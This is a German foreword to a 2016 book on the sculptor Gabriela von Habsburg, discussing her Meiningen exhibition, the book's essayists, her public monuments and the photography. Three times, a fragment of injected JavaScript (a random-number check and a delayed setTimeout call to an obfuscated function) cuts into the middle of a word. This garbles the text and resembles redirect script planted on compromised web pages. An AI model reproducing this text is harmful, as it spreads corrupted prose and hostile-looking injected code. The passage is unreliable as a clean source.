Vorwort

Vorwort

von Elmar Zorn

Dieses Buch kommt aus Anlass der großen, sich über sechs Monate erstreckenden Ausstellung der Meininger Museen mit den Werken der Bildhauerin Gabriela von Habsburg im Schlossmuseum Elisabethenburg zustandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ande. In den Ausstellungsgalerien und dem Innenhof des Schlossmuseums wer- den vierzig kleinformatige und sechs mittelgroße Skulpturen sowie Lithographien, Zeichnungen, Modelle und Fotografen unter dem Titel Sprechender Stahl gezeigt.
Über den Anlass hinaus sind in die vorliegende Veröffentlichung zusätzlich solche Abbildungen von in alle Welt ver- streuten Großskulpturen im öffentlichen Raum aufgenommmen, die bislang noch nicht in Katalogen oder Büchern publiziert waren.
Insofern ergänzen beide Teile des Buches die aufwendig her- gestellte, ausgezeichnete Monografie Gabriela von Habsburg, die 2007 im Bucher Verlag, Hohenems, erschienen ist. Nach- dem vor neun Jahren die damalige Stellvertretende Generaldirektorin der Bayerischen Staatsgemäldesammlungen Carla Schulz-Hoffmann und der Direktor des Kunstmuseums Bern Matthias Frehner über das Werk Gabriela von Habsburgs einen sehr markanten Essay geschrieben haben, kommen in diesem Buch zwei nicht weniger prominente Autoren zu Wort, um die Persönlichkeit und das Schaffen der Künstlerin einzuordnen: Manfred Schneckenburger, der als zweimaliger Leiter der documenta in Kassel (1977 und 1987), als Hochschullehrer in Bochum und in Kassel, als langjähriger Rektor an der Kunstakademie Münster sowie als Autor zahlreicher wegweisender Veröffentlichungen, insbesondere über Skulptur, den Rang eines Doyen der Kunstkritiker weltweit einnimmt.
Dieter Ronte, der durch die Leitung der Kunstmuseen in Wien, Hannover und Bonn sowie als Kurator von innovativen Programmen, wie bei der Biennale von Venedig (»Aperto«) und der überhaupt ersten Ausstellung mit zeitgenössischen chinesischen Künstlern im Westen 1996, sowie seinen kritischen Veröffentlichungen zum Kunstbetrieb bekannt wurde.
Beide zollen der erwähnten Monografie über Gabriela von Habsburg vollen Respekt, indem sie sich auf die Texte der Kollegin und des Kollegen beziehen und sie ausführlich zitieren.
Es ist bei der Lektüre von Schneckenburgers und Rontes Essays spannend mitzuvollziehen, wie sie von verschiedenen Ausgangspunkten zu vergleichbaren Einschätzungen der Qualität des plastischen Werkes von Gabriela von Habsburg kommen. Gegenüber solchen hervorhebenden Statements fällt auf, wie zurückhaltend die Künstlerin selbst sich im öffentlichen Kunstgeschehen unserer Tage bewegt. Ihr fehlt völlig jedes auftrumpfende Gehabe, wie es zuweilen die sogenannten »Künstlerfürsten« bei ihren Auftritten zeigen. Obwohl sie sich ihres gesellschaftlichen Ranges als Enkelin des letzten Kaisers von Österreich und Erzherzogin hochbewusst ist, will sie als Künstlerin unabhängig davon beurteilt werden. Freilich versteht sie auf bemerkenswerte Weise, ihre künstlerische Meisterschaft mit ihrem politischen Engagement für die Einigung Europas zu verbinden. Ihrer Rolle einer Botschafterin der Republik Georgien in Berlin, die sie jahrelang innehatte, entspricht die Thematisierung des Falls des Eisernen Vorhangs in der Umsetzung ihrer außergewöhnlich gelungenen Denkmalskulptur von Sopron und des Rosendenkmals von Tbilisi, das ich für eine der eindrucksvollsten Realisierungen auf dem Gebiet der in Verruf geratenen Denkmalskulptur halte – auch deshalb, weil es als gemeinsamer künstlerischer Prozess der Kunstprofessorin mit ihren Studenten und als Hommage an die unblutige Revolution dort entstandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anden ist. Gabriela von Habsburg zeigt sich also würdig, einerseits als Bildhauerin in der Nachfolge ihrer Lehrer Robert Jacobsen und Sir Eduardo Paolozzi, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andererseits als engagierte Europäerin in der Nach- folge ihres Vaters Otto Habsburg-Lothringen, der mit seinem die Epochenwende vorbereitenden Paneuropäischen Picknick am 19. August 1989 europäische Geschichte scihrieb.
Die Aufgabe, Skulptur im Raum durch Fotografe adäquat und damit als wahrhaftige Wahrnehmung in einem Buch über Bildhauerwerke abzubilden, ist noch wesentlich heikler als das Erfassen der Farbtöne und der Tiefen von Gemälden. Denn es ist leichter, die Wahrnehmung über die Authentizität von Farbenschattierungen zu täuschen, als den Rundumblick auf den Körper der Skulptur durch fixierende Aufnahmen zu simulieren. Es war daher entscheidend für das Buchprojekt, ob es gelingen konnte, diese grundsätzliche Aporie wenigstens ansatzweise mit der Fotodokumentation der Meininger Ausstellung zu konterkarieren. Dem Fotografen und Fotodesigner Raphael Lichius ist dieses Kunststück der Transposition einer Semantik der Skulptur vom Raum- zum Buchmedium auf eindrucksvolle Weise gelungen.

Elmar Zorn, aus Gabriela von Habsburg, 2016